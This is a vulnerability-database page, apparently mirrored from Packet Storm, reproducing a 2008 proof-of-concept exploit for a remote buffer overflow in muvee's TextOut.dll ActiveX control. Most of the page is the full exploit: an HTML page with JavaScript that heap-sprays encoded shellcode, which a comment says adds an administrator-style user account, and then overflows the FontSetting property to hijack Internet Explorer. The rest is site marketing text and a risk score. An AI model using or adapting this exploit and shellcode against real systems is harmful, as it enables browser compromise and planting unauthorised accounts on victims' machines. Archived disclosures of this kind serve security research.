Lucene search

muvee-overflow.txt

🗓️ 13 Jun 2008 00:00:00Reported by Nine:Situations:GroupType

packetstorm🔗 packetstormsecurity.com👁 29 Views

muvee Technologies Text-Effect DXT Filter for autoProducer (TextOut.dll v6.0.18.1) Fontsetting property remote buffer overflow exploi

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

`<!--  
muvee Technologies Text-Effect DXT Filter for autoProducer (TextOut.dll v6.0.18.1)  
Fontsetting property remote buffer overflow exploit  
  
bug found by Nine:Situations:Group::Trotzkista  
our site: http://retrogod.altervista.org/  
  
software site: http://www.muvee.com/en/  
packages: muvee AutoProducer 6.0 / 6.1  
tested on Win2k3 datacenter edition / IE6  
WinXPSP2 / IE6  
dll settings:  
RegKey Safe for Script: False  
RegKey Safe for Init: False  
Implements IObjectSafety: True  
IDisp Safe: Safe for untrusted: caller  
  
If you think this poc is useful, please help us to improve our equipment and  
donate through the paypal button on our site!  
-->  
<html>  
<object classid='clsid:AA478771-468A-41AB-9D97-263B6580FE8C' id='DXTTextOutEffect' />  
</object>  
<script language='javascript'>  
//completely ripped from a rgod exploit  
//add su one, user: sun pass: tzu  
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" +  
"%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" +  
"%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +  
"%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +  
"%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c" +  
"%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f" +  
"%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b" +  
"%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c" +  
"%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871" +  
"%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835" +  
"%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b" +  
"%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b" +  
"%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34" +  
"%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35" +  
"%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550" +  
"%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b" +  
"%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c" +  
"%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943" +  
"%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370" +  
"%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377" +  
"%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630" +  
"%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265" +  
"%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330" +  
"%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574" +  
"%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030" +  
"%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f" +  
"%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e" +  
"%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242" +  
"%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741" +  
"%u7734%u4734%u4570");  
bigblock = unescape("%u0A0A%u0A0A");  
headersize = 20;  
slackspace = headersize+shellcode.length;  
while (bigblock.length<slackspace) bigblock+=bigblock;  
fillblock = bigblock.substring(0, slackspace);  
block = bigblock.substring(0, bigblock.length-slackspace);  
while(block.length+slackspace<0x40000) block = block+block+fillblock;  
memory = new Array();  
for (i=0;i<510;i++){memory[i] = block+shellcode}  
buff=""; for (i=0;i<500;i++){buff = buff+unescape("%u0d0d%u0d0d")}  
DXTTextOutEffect.FontSetting=buff; window.location.reload( true );  
</script>  
</html>  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

13 Jun 2008 00:00Current

7.4High risk

Vulners AI Score7.4